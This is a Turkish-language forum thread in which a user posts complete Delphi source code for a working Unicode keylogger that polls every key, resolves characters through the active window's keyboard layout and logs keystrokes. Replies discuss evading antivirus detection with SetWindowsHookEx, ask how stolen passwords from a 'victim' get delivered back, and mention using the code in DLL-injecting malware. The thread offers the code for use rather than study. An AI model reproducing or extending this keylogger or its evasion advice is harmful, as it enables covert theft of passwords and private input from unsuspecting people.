folder Tahribat.com Forumları
linefolder Delphi - Pascal
linefolder Delphi - Unicode Keylogger



Delphi - Unicode Keylogger

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    unit UnitKeyLogger;

    interface

    uses
    Windows,Classes;

    type
    TUnicodeKeylogger = class(TThread)
    private
    { Private declarations }
    public
    FActiveBackSpace:Boolean;
    FullLogData : String;
    function IsKeyPressed(KeyCode: Integer): Boolean;
    procedure AddKey(StrKey: String);
    protected
    procedure Execute; override;
    end;

    implementation

    procedure TUnicodeKeylogger.AddKey(StrKey: String);
    begin
    FullLogData := FullLogData + StrKey;
    Write(StrKey);
    end;

    function TUnicodeKeylogger.IsKeyPressed(KeyCode: Integer): Boolean;
    begin
    result := (Windows.GetAsyncKeyState(KeyCode) and $8001) = $8001;
    end;

    procedure TUnicodeKeylogger.Execute;
    var
    VirtKey : UINT;
    ScanCode : UINT;
    UniEx : Integer;
    keyboardLayout : HKL;
    keyboardSpeed : Integer;
    keyboardState : TKeyboardState;
    strBuffer : String;
    UnicodeChar : array[0..1] of WChar;
    strkeyname : Array[0..32] of Char;
    dwThread : DWORD;
    dwProcess : DWORD;
    dwHandle : HWND;
    BEGIN
    Windows.SystemParametersInfo(Windows.SPI_GETKEYBOARDSPEED, 0, @keyboardSpeed, 0);
    WHILE NOT Terminated DO
    BEGIN
    Windows.GetKeyState(VK_CAPITAL);
    Windows.GetKeyboardState(keyboardState);
    dwHandle:= Windows.GetForegroundWindow();
    dwThread:= Windows.GetWindowThreadProcessId(dwHandle,@dwProcess);
    keyboardLayout:= Windows.GetKeyboardLayout(dwThread);
    FOR VirtKey := 0 TO $FF DO
    IF IsKeyPressed(VirtKey) THEN
    BEGIN
    IF VirtKey = 8 THEN // silmeye basilirsa
    BEGIN
    IF FActiveBackSpace THEN
    BEGIN
    Delete(FullLogData, Length(FullLogData), 1);
    END
    ELSE
    BEGIN
    Continue;
    END;
    END;
    ScanCode := Windows.MapVirtualKeyEx(VirtKey, 0, keyboardLayout);
    Windows.GetKeyNameTextA(ScanCode SHL 16,strkeyname,sizeof(strkeyname));
    IF Windows.lstrlenA(strkeyname) > 1 THEN
    BEGIN
    IF VirtKey = VK_SPACE THEN strkeyname := ' '; // bosluk tusu
    IF VirtKey = VK_RETURN THEN strkeyname := #13#10; // enter tusu
    AddKey(strkeyname);
    Continue;
    END;
    UniEx := Windows.ToUnicodeEx(VirtKey, ScanCode, @keyboardState, @UnicodeChar, 2, 0, keyboardLayout);
    strBuffer := UnicodeChar;
    SetLength(strBuffer,UniEx);
    AddKey(strBuffer);
    END;
    Sleep(keyboardSpeed DIV 4);
    END;
    END;

    END.

    program Lib;

    {$APPTYPE CONSOLE}

    uses
    Windows,
    UnitKeyLogger in 'UnitKeyLogger.pas';

    VAR
    Msg : TMsg;
    Keylogger:TUnicodeKeylogger ;
    LangID : Cardinal;
    begin
    { TODO -oUser -cConsole Main : Insert code here }
    LangID:=Windows.GetUserDefaultLangID;
    Windows.SetThreadLocale(LangID);
    Keylogger:=TUnicodeKeylogger.Create(False);
    Keylogger.Resume;

    While Windows.GetMessage(Msg,0,0,0) Do
    Begin
    Windows.TranslateMessage(Msg);
    Windows.DispatchMessageA(Msg);
    End;
    end.



    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Tarikat Şeyhi
    HolyOne
    HolyOne's avatar
    Kayıt Tarihi: 01/Haziran/2002
    Erkek

    Hocam bu for döngüsü içinde keyloggerları avler pek sever, kolay yakalarlar.

    Setwindowhookex ile hem daha performanslı hem daha zor yakalanan bişi oluyor, ama dll eklenior projeye


    Nush ile uslanmayanı etmeli tekdir, Tekdir ile uslanmayanın hakkı kötektir!
  3. KısayolKısayol reportŞikayet pmÖzel Mesaj
    Esconda
    Esconda's avatar
    Kayıt Tarihi: 28/Eylül/2007
    Erkek

    logladiktan sonra, nasil bir islem uyguladigini anlamadim?

    Yani klavyeden girilen password ve diger islemleri kurbanimiz girdikten ve keyloggeri yedikten sonra bize nasil ulastiracak ?


    https://t.me/pump_upp
  4. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nessaj
    nessaj's avatar
    Kayıt Tarihi: 03/Mayıs/2010
    Erkek
    Esconda bunu yazdı

    logladiktan sonra, nasil bir islem uyguladigini anlamadim?

    Yani klavyeden girilen password ve diger islemleri kurbanimiz girdikten ve keyloggeri yedikten sonra bize nasil ulastiracak ?

    bu bitek logger :)

  5. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo
    HolyOne bunu yazdı

    Hocam bu for döngüsü içinde keyloggerları avler pek sever, kolay yakalarlar.

    Setwindowhookex ile hem daha performanslı hem daha zor yakalanan bişi oluyor, ama dll eklenior projeye

    HolyOne hocam selamlar,

    setwindowshookex,callnexthook apisi kullanan bir keylogger unitesi dll injection kullanan bir malwarede calistiramazsiniz.. sebebinin neden kaynaklandigini bilmiyorum ama dll nin direk hddye drop edilmesi gerekmekte. zararli yazilim yazanlar icin dll extract etmek istenmeyen bir durumdur.

    benim amacim burada MapVirtualKeyEx,GetKeyNameTextA,ToUnicodeEx we SetThreadLocale apilerinin kullanilmasini gostermekti. Cunku msdn gibi bir bilgi bankasinin varligindan haberi olmayan keylogger yazarlari, her bir keycode icin bir harf atamasi yapiyorlardi, buda hamallikti... 

    kullananlar warsa credits versin.

    saygilar.

     

    wh0 tarafından 14/Kas/12 17:36 tarihinde düzenlenmiştir

    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
  6. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nessaj
    nessaj's avatar
    Kayıt Tarihi: 03/Mayıs/2010
    Erkek

    Hazreti c de mi bilmiyo nedenini ona soraydin :D. Oldukca sacma geldi yanliz ilginc bi hata yapmiyasin?

     

    Daha once dll inject denemedim bu arada.

  7. KısayolKısayol reportŞikayet pmÖzel Mesaj
    wh0
    wh0's avatar
    Kayıt Tarihi: 21/Temmuz/2008
    Homo

    merhaba nessaj,

    Tugberk, ufak bisey soylemisti demisti de uzun zaman onceydi hatirlamiyorum herneyse fazla uzatmicam.
    C hazretleri linux/embedded system uzerinde calisiyor..

    saygilar.

    wh0 tarafından 14/Kas/12 11:52 tarihinde düzenlenmiştir

    🏴‍☠️Hi'dan gelen varır Who'ya, Hi'da onun adıdır Who'da...
Toplam Hit: 3200 Toplam Mesaj: 7